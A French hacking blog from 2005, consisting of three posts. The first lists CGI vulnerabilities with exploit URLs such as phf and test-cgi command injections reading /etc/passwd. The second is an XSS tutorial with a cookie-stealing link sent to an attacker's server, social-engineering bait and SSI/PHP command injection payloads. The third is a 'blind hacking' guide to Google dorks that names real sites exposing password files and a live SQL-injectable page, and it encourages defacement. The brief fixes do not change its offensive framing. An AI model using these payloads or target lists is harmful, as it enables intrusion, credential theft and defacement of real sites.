mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après
[ Ajouter un commentaire ] [ Aucun commentaire ]

# Posté le mercredi 14 septembre 2005 13:59

Modifié le jeudi 15 septembre 2005 13:52

FAILLES CGI

FAILLES CGI
----------- FAILLES CGI -----------

Les attaques CGI (Common Gateway Interface) bien que plus beaucoup employées, consituaient une vraie mine d'or à l'époque, et font encore le bonheur de certains lamers... Chaque vulnerabilité est décrite comme ceci :
Nom de l'attaque
-> Conséquence
/exploit
<- Solution afin d'éviter cela
Il y'en a des tonnes ...
Test cgi's
-> Permet de faire un dir des fichiers ou d'afficher le contenu de certains fichiers (exemple etc/passwd :) )
/cgi-bin/test-cgi?\whatever
/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
/cgi-bin/test-cgi?/*
/cgi-bin/test-cgi?* HTTP/1.0
/cgi-bin/test-cgi?x *
/cgi-bin/nph-test-cgi?* HTTP/1.0
/cgi-bin/nph-test-cgi?x *
/cgi-bin/test-cgi?x HTTP/1.0 *
<- Supprimer le fichier test-cgi

Info2www, versions 1.0-1.1
-> Permet d'executer des commandes arbitraires sur le serveur
/cgi-bin/info2www?(../../../../../../../bin/mail webmaster@site.com
/cgi-bin/info2www '(../../../../../../../bin/mail jami /cgi-bin/campas?%0acat%0a/etc/passwd%0a
<- Pas de solution sorry

Php.cgi
-> Permet d'afficher le contenu d'un fichier
/cgi-bin/php.cgi?/etc/passwd
<- Retirer le fichier php.cgi du repertoire cgi-bin

Files.pl
-> Permet d'afficher le contenu d'un fichier
/cgi-bin/files.pl? ../../ect/passwd
<- Supprimer le script files.pl du serveur

Nph-test-cgi
-> Permet de faire un dir des fichiers du serveur
/cgi-bin/nph-test-cgi?x HTTP/1.0 *
/cgi-bin/nph-test-cgi?* HTTP/1.0
/cgi-bin/nph-test-cgi?x *
/cgi-bin/nph-test.cgi /*
<- Supprimer le fichier nph-test.cgi du serveur

Phf
-> Le célébre phf, qui permet d'executer des commandes sur le serveur
/cgi-bin/phf?Q=x%0apwd
/cgi-bin/phf?Q=x%ffpwd
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
/cgi-bin/phf?%0a blablabla &Qalias=&Qname=&Qemail=&Qnickname=&Qoffice_phone= ... usw
/cgi-bin/phf?Qname=%0acat%20/etc/passwd
/cgi-bin/phf.cgi?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20127.0.0.1:0.0 (on y reviendra tout à l'heure)
<- La plupart des serveurs sont patchés contre phf, cette vulnérabilité est devenue assez rare, alors ne vous faites de pas de mourron :)

Omnihttpd
-> S'identifier en tant qu'user guest sur le serveur
http://omni.server/cgi-bin/visadmin.exe?user=guest
<- Je n'ai pas de solution sorry

Pfdispaly.cgi
-> Executer des commandes sur le serveur
/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
/cgi-bin/pfdispaly.cgi?/../../../../etc/motd
/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|'
<- Supprimer le fichier pfdisplay.cgi

Faxsurvey
-> Executer des commandes sur le serveur
/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
/cgi-bin/faxsurvey?/bin/ls%20-a
<- Cette faille ne concerne que les versions Suse de linux, avec le package HylaFax installé

Whois_raw.cgi cdomain v1.0.
-> Executer des commandes sur le serveur
/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20127.0.0.1:0
/cgi-bin/whois_raw.cgi?fqdn=%0acat%20/etc/passwd
<- Supprimer le fichier whois_raw.cgi du serveur

Test.bat et perl.exe sur Netscape Serveur
-> Executer des commandes sur le serveur
/cgi-bin/test.bat?&dir .
<- Retirer le fichier test.bat du repertoire cgi-bin


Htmlscript (www.htmlscript.com)
-> Afficher le contenu d'un fichier
/cgi-bin/htmlscript?../../../../etc/passwd
<- Huh, pas de solution encore dsl


Cette liste n'est pas exhaustive... Comme vous pouvez le constater les vulnérabilités cgi-bin sont extrémement nombreuses, mais pas toujours efficaces, heuresement pour nous ;p IL existe aussi des programmes qui automatisent la recherche de failles cgi sur un site, je pense surtout à Vulnerability_scan , bien que difficile à trouver enfin bon...
[ Ajouter un commentaire ] [ Aucun commentaire ]

# Posté le mercredi 14 septembre 2005 13:59

Modifié le jeudi 15 septembre 2005 13:49

Les "Failles XSS" ou l'injection javascript

Les "Failles XSS" ou l'injection javascript
[ : [
$ : $ / : /
% : % \ : \
' : ' ][ : %5B
$ : %24 / : %2F \ : %5C ' : %27 ][ : [
$ : $ / : /
% : % \ : \
' : ' ][ : %5B
$ : %24 / : %2F \ : %5C ' : %27 ]fait un tutoriel sur les failles cross site scripting PHPNuke, je vais
maintenant approfondir un peu le sujet. Parfois on me dit "ce sont que des failles qui
servent à rien"... voyons d'abord comment s'en servir :)
La methode d'utilisation du xss la plus connue est celle du social engineering avec un
lien en html qui contient un code pas gentil. Alors le webmaster se dit "pas grave je
vais faire attention" ou il empeche la lecture du html dans la reception des mails.

Et bien ce n'est pas suffisant... loin de là. La faille cross site scripting est enormement
répandue dans les pages web dynamiques et fort sous-estimée.

Rappel :
Le "cross site scripting" est une faille permettant, le plus souvent dans une page web
dynamique contenant un formulaire, de faire executer du code javascript, html ou autre
directement sur le site.

Nous n'allons pas aborder ici le sujet du XSS "permanent" mais il est difficile de le
contourner totalement.

Vous pouvez avoir + d'infos au sujet du xss ici :
http://www.cert.org/advisories/CA-2000-02.html

Le SE
*****
Commencons par l'utilisation la plus connue du cross site scripting : le social engineering.
Literalement : Ingénierie sociale, càd le fait de savoir se comporter avec les gens, une sorte
de sciences des contacts sociaux. Ici comme la plupart du temps dans le hack à des fins
de tests ou illegales.

Notre but est donc de faire executer un code par le webmaster. Disons par exemple de prendre
son cookie.
Bon, je place un fichier php par exemple hack.php sur un serveur <server>.
Je me trouve un script script.cgi avec une valeur val qui est atteind de XSS.
Pour recuperer le cookie, je doit donc obliger le webmaster à aller à l'url
http://<server>/fichier.php?val=+document.cookie.

Il nous faudra donc envoyer au webmaster un message de ce genre :
"
Bonjour,
il y a un probleme dans votre site
<a href="/script.cgi?val=<script>location="http://<server>/hack.php?"+document.cookie"> ici </a>
"

En voyant l'url sur son propre site, le webmaster risque de ne pas se mefier et de cliquer
sur le lien.


SSI
***
Les SSI (Server Side Include) sont des petites commandes éxécutées par le serveur.
On peut par exemple s'en servir pour inclure un fichier dans une page :

<!--#include file="menu.html" -->
ou
<!--#include virtual="article.html"-->

On pourra donc l'utiliser comme ceci :

http://<server>/scriptwithbug.php?comment=<!--#include%20file="/etc/passwd"%20-->
http://<server>/script.php?comment=<!%20--#include%20virtual=".htpasswd"-->

On peut aussi utiliser les SSI pour rediriger vers une autre url, en remplacant le .htpasswd
ou le /etc/passwd par l'url ou on veut que le webmaster se rende.
Ou encore faire executer des commandes, comme la commande id pour connaitre l'username
du serveur web :

http://<server>/script.php?comment=<!%20#<!--#exec%20cmd="id"-->

VBS
***
Certains elements du vbscript peuvent en effet être executés grâce à du cross site scripting.
Essayez par exemple

http://host/script.php?val=<script%20language="vbscript">msgbox%20"VbScRiPt"</script>.

PHP
***
On peut essayer d'inserer des commandes en php grâce aux requetes <? et ?>.
On peut par exemple affichier un fichier du disque dur :

/script.php?val=<?%20include%20'/etc/passwd'%20?>

ou bien faire executer des commandes :

/script.php?val=<?%20passthru("id");?>


HTML
****

Pour faire afficher une page ou rediriger vers une autre page, il n'y a pas que les cas qui ont
été vus ci-dessus.
Par exemple la balise IFRAME :
<IFRAME SRC="http://host/pageavoir.html" WIDTH="200" HEIGHT="300"></IFRAME>

ou :

<head><meta HTTP-EQUIV = "refresh" CONTENT = "0 ; URL = http://host/"></head>

ou encore :

<img src="javascript:location='http://www.server.com/page.php?'+document.cookie">

<body onload="location='http://were.to.go';"></body>

<LINK REL=STYLESHEET TYPE="text/javascript" SRC="badjavascript.js">

ainsi que la balise EMBED, FORM et bien d'autres.


Les filtres
***********
Les filtres supprimant par exemple les caracteres < ou " ne sont parfois pas suffisant.
Le caractere " peut par exemple être remplacé par son encodage (Latin-1) :
" ou encore &quot;.
Donc par exemple :
www.host.com/form.asp?msg=<script>location="http://exemple.com/g.php?"+document.cookie</script>
Ce petit tableau pour rappel, avec les caracteres qui peuvent etre utiles :

! : ! ? : ?
" : " [ : [
$ : $ / : /
% : % \ : \
' : ' ] : ]
( : ( ` : `
) : ) a-z : a-&#122
+ : + { : {
: : : | : |
< : < } : }
= : =
> : >

Je n'ai mis ni & ni #, car si ils sont filtrés, il le seront aussi dans ce cas là.
Et aussi :

" : &quot; ]\
< : &lt; ] } sera considéré comme du texte
> : &gt; ]/

un peu de culture par Majen : l'euro : &euro;


& : %26 ! : %21 ? : %3F " : %22 [ : %5B
$ : %24 / : %2F \ : %5C ' : %27 ] : %5D
( : %28 ` : %60 ) : %29 + : %2B { : %7B
: : %3A | : %7C < : %3C } : %7D = : %3D
> : %3E # : %23 ; ; %3B a-y : %61-%79

Autre chose... si on a une page du style /script.cgi?tel=03264598714 et quand dans la source
on voit qqchose du genre <input type=hidden name=tel value="03264598714">, une possibilité
qui a fonctionné par exemple sur le site www.microsoft.com est de commencer le code
à inscrire dans la valeur par "> , par exemple /script.cgi?tel="><script>[UN SCRIPT]</script>.
Le code source peut être alors interpreté de la sorte :

<input type=hidden name=tel value="">
/* le dernier "> etant celui qu'on a inseré au debut de la valeur. Le input est alors fermé
/* et "tel" a une valeur vide.
<script>[UNSCRIPT]</script>
/* Vient alors le script...
">
/* et la fin du input qui étais là à la base et sera surement interprété comme du texte.

Dans le même style vous pouvez aussi essayer '>[SCRIPT] ou </font>[SCRIPT] ou encore
">[SCRIPT] ou encore
">[] ou encore
">[RaFa] ou encore
">[] ou encore
">[RaFa]ar exemple qu'un filtre
repere le mot "script", et s'en debarasse en le supprimant.
Essayez alors d'entrer un script dans ce genre :
<scrscriptipt>alert('test')</scrscriptipt>

Verifiez que un caractere ou un mot ne soit pas remplacé par un caractere sensible.
Si par exemple ? n'est pas accepté mais que "cookie" est remplacé par ?, il vous
suffira d'entrer qqchoz.php?val=<cookie%20passthru("id");cookie>

Un dernier truc au niveau filtre... dans certains cas, si ' est interdit, il peut etre remplacé
par l'antislash \ .

Ou alors, il y a la balise form.
pour faire <script>window.open('http://www.hop.com')</script>, il suffira d'ecrire le code :
<form name=haha><input name=hoho value=http://www.hop.com></form>
<script>window.open(document.haha.hoho.value)</script>

Il faut aussi savoir qu'une balise form ne peut pas être imbriquée dans une autre balise form.
Si dans la source ça donne :
<form method=post>
<input type="machin" name="truc">
<form name=haha><input name=hoho value=http://www.hop.com></form>
<script>window.open(document.haha.hoho.value)</script>
<input type="button" value="envoyer !">
</form>

Cela ne fonctionnera pas, il faudrait d'abord fermer la première balise avec un </form>,
et donc commencer le code inseré par cela.

Solution :
**********
Normalement, si vous bloquez ces caracteres, vous ne devriez plus avoir
de problemes de cross site scripting : <> # & % ! [] ? ; \.
Mais pour + de secu, voici une liste de mots/caracteres (evidemment pas complète) pouvant être
néfastes pour un site :

EMBED
script
VBS
"
'
location
cookie
:
LINK
IFRAME
javascript
(
)
;
refresh
OBJECT
onload
onStart
+
=
$
*

Il y a des scripts anti-cross site scripting déjà tout fait sur cert.org, je n'en ai donc
pas fait de nouveaux.

Le cross site scripting est une "matière" que je découvre, je ne la maitrise pas parfaitement.
D'autant plus que ce tutoriel parle surtout du XSS dit "non-permanent", càd uniquement via
des urls. Mais le fait d'envoyer par exemple un email ou de poster
sur un guestbook un message contenant un script néfaste est aussi du XSS.

Greetz / dedicated to :
***********************
Val2, Tobozo, [RaFa], Majen, Wong Family, Entity, C-2K, Cert.org, H3zEN, Skull.Rider,
Juliendusud, HX.
[ Ajouter un commentaire ] [ Aucun commentaire ]

# Posté le mercredi 14 septembre 2005 14:01

Modifié le jeudi 15 septembre 2005 13:47

Blind Hacking

Blind Hacking
----------- Blind Hacking -----------

I) :: INTRO
-----------
Le blind hacking est une autre de ces méthodes qui vous permettent d'arriver a vos fins sans avoir a connaître tout les moyens. Comme son nom l'indique, il s'agit de hacking "aveugle", donc sans préméditation . On hack ce qui passe entre nos mains question de se pratiquer pendant le long hivers.

Le blind hacking se veut être un sport pure, sans aucun arme ou outils d'intrusion, on cherche des chose simples et ont les hacks. On peut aussi bien se retrouver entrain de défacer un wwwboard de planetquake.com ou s'emplir le ventre de warez. Le blind hacking n'est pas une chose qui mérite des applaudissements, d'ailleurs n'importe quel cloporte peut s'y mettre.

Maintenant vous n'avez plus de raison de ne pas continuer à lire :)

II) :: Webcrawling the net for targets
---------------------------------------
www.google.com, vous l'aviez deviner? Pour ceux qui ne connaissent pas google, il s'agit d'un excellent moteur de recherche. Google se veut complet donc il y a un tas d'options (caching de pages offlines, image searcher) que la compétition ne possède pas.

Google balaie Internet en permanence à l'aide de robots qui vont se promener d' URL en URL. L'avantage premier de ce système c'est que l'indexation se fait à l'insu de son auteur. A l'aide des bons mots, des mots magiques on peut obtenir des résultats convaincants en très peu de temps, jugez par vous-mêmes:

http://www.google.ca/search?q=%22index%20of%20/%22%20winex

Les amateurs sauront de quoi je parle, spécialement les utilisateurs Linux. Les recherches sous Google se font donc via un browser web (mozilla, netscape, ie, konqueror). On peut faire du blind hacking a l'école, à la bibliothèque(loosers), chez sa blonde ou encore chez vos chères mamans.

Pour faire une recherche, on utilise l'URL de google de la façon suivante:

> http://www.google.ca/search?q=Votre query

On peut toujours passer par www.google.ca directement. Pratiquez pendant 10 secondes, si vous comprenez pas, sentez-vous gravement insulté. Passons donc aux ....

III) :: Mots magiques
---------------------
Vous voulez connaître les queries qui ont marquées l'histoire, les queries qui ont fait bouger le monde? Disons qu'il y a certaines séries de mots reliés ensemble sous la forme d'une phrase qui donnent d'excellents résultats.

"Index of /" leech
==================
Sous Apache et certains autres serveurs web se retrouve une directive de configuration qui permet de créer un index automatique. Si un répertoire ne possède pas d'index.html, le serveur web bouffe 100% du I/O, swap pendant 3 secondes et décide que vous en avez pas et fabrique alors un fichier index temporaire, en voici un exemple:

> http://www.co.benton.or.us/sheriff/corrections/

Très intéressant si vous voulez comprendre comment fonctionne un centre correctionnel mais c'est pas vraiment le trip du siècle, tout ce qu'il faut retenir c'est que le site que vous avez vérifier est un site qui n'a pas eu d'index.html (ou index.php,index.asp, defaults.html etc..) présent. Si vous regardez directement www.co.benton.or.us, l'index prend le dessus et on voit le site trop peu esthétique du centre de ... c'est dure à dire.

Voici un exemple plus warez-like:

>http://www.funet.fi/pub/netinfo/incoming/%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20tagged%204%20dsn!!!/

Essayer ftp.funet.fi ? Google.com peut aussi servir de PUB's finder. Comme la face d'Internet change très souvent, la variété persiste :), l'astuce c'est de chercher des "index of /" avec des mots comme incoming et tagged.

On peut aussi trouver du matériel directement, quoi que cela soit moins simple, des qu'il s'agit de warez, certains modifient l'index de leur site pour contenir "index of /" et vous envoie de la junk.

Chercher leech, 0-day et rarement warez ou appz si vous voulez éviter les popups :)

> http://www.fh-trier.de/~teepenf/leech/

Un aspect encore plus intéressant que les autres, le hacking, peut être très facilement simplifié par Google.com, en voici une exemple, très ordinaire soit dit en passant:

> www.google.ca/search?q="index of /" passwd.txt

- http://earlyamerica.com/towncrier/passwd.txt
- http://www.ku.edu/~philos/courses/wwwboard3/passwd.txt
- http://ntuphoenix.port5.com/discus_admin_1162549908/passwd.txt

Hacker des webboards c'est bien mais on veut mieux non?

> www.google.ca/search?q="index of /" config.inc.php.bak

- http://planetemods.free.fr/include/config.inc.bak

Il y a toujours la possibilité de faire du défacing (changer la page d'accueil, peut-être même avoir accès à la machine ou du moins à la bd). On peut par exemple chercher le fichier access_log et error_log pour vérifier au cas ou.

Je crois que tout le monde a comprit.

Stats / Usages data
===================
Il y a beaucoup de proxy web sur Internet, qui logs bien entendu toutes les requêtes, la majorité de ces proxies génèrent un log en HTML et le place dans un répertoire.

Exemple ?

> http://www.google.ca/seach?q="World Wide Web Access Statistics"

- http://gladstone.uoregon.edu/monthly-log.html
- http://www.soest.hawaii.edu/reports/statistics.html

Vous pouvez ajouter des mots a la query pour chercher un terme intéressant (ie: passwd.txt). Remercier wwwstat d'avoir un pattern si répétitif, les logs générer par ce script sont vraiment trop parfaits. Nous avons toute l'information nécessaire. Il y a aussi " FTP Access Statistics" qui peut vous donnez du bon miammiam.

Debug/Error messages
====================
Les messages d'erreurs, sont selon moi, un truc très utile, je me sert principalement des messages d'erreurs pour déterminer le OS et information diverse en rapport à une cible. Je recherche principalement 2 sortes de messages d'erreurs, les messages générés par ASP,PHP et SQL. Pratique pour localiser par exemple des cas assujettis au SQL injection.

"Microsoft OLE DB Provider for ODBC" est un bon keyword pour trouvez des scripts qui accèdent à des bases de donnée, l'erreur n'est pas si intéressante que ça. Mais même si le script ne fait plus le message d'erreur, il est toujours la passerelle pour l'injection.

<REALTIME_DRAMATIZATION>
Tiens, en écrivant ses lignes, jai par hasard attrapé ceci via irc:

(Need Help?: http://www.securiteam.com/securityreviews/5DP0N1P76E.html)

http://new.spot.be/tiscali/fr/film.asp?Code_film='7957 (SQL injection possibility)

Merci init_null ;)
</REALTIME_DRAMATIZATION>

Il y a les messages typiques de PHP3, le plus populaire est toujours: "Fatal error: input in flex scanner failed in ". Ce message d'erreur est souvent associé à une fonction include() qui inclue n'importe quel fichier et l'affiche ou le traite. Il y a alors possibilité de faire un tas de trucs, comme cet article se veut court, voici un lien vers un de mes vieux articles sur le sujet:

http://ouah.sysdoor.net/art001.txt

Vous pouvez aussi chercher pour des patterns d'erreurs PHP typiques contenant des "unable to" et compagnie.

CONCLUSION & Hunting tricks
===========================
Je crois qu'on pourrait y passer la semaine, alors ceci clôt cet article en espérant que cela vous ai amusez. Voici quelques idées a essayer pour ceux que ça intéresse:

- Utiliser http://www.cgisecurity.com/archive/index.shtml pour trouver de nouveaux patterns à vérifier, si par un exemple une nouvelle faille sort, à partir d'un exploit vous pourrez toujours savoir quel fichier chercher, si vous glissez allinurl: devant votre query, google ne cherchera que dans les liens. Donc vous trouverez les fichiers vulnérables.

- Exploiter le nouveau bug overflow.cgi pour les RAQ applicances. Chercher des machines de ce type en utilisant un pattern d'erreur 404.En effet, les RAQ affichent une page 404 bien a elles, voici un exemple de page 404:

> http://pgs.k12.va.us/tech/wm

Dans le source on peut voir la source de l'image suivante:

"/.cobalt/images/question_warning"

On n'a plus qu'à chercher cela, essayer le Images search de google. Pour l'exploit en question:

http://www.securiteam.com/exploits/6S0022A6AA.html

- Allez lire la doc sur google.com pour améliorer vos queries de recherche, le adv. search est pas mal aussi pour les URL search/Domain search.

- Pour avoir tout les bugs de sécurités répandus de type cgi/database, vous pouvez toujours downloader les fichiers contenant les "rules" de NESSUS. Très facile à parser et à réutiliser. (En fait c'est un langage interprété réutilisable)

# Posté le mercredi 14 septembre 2005 14:02

Modifié le jeudi 15 septembre 2005 13:39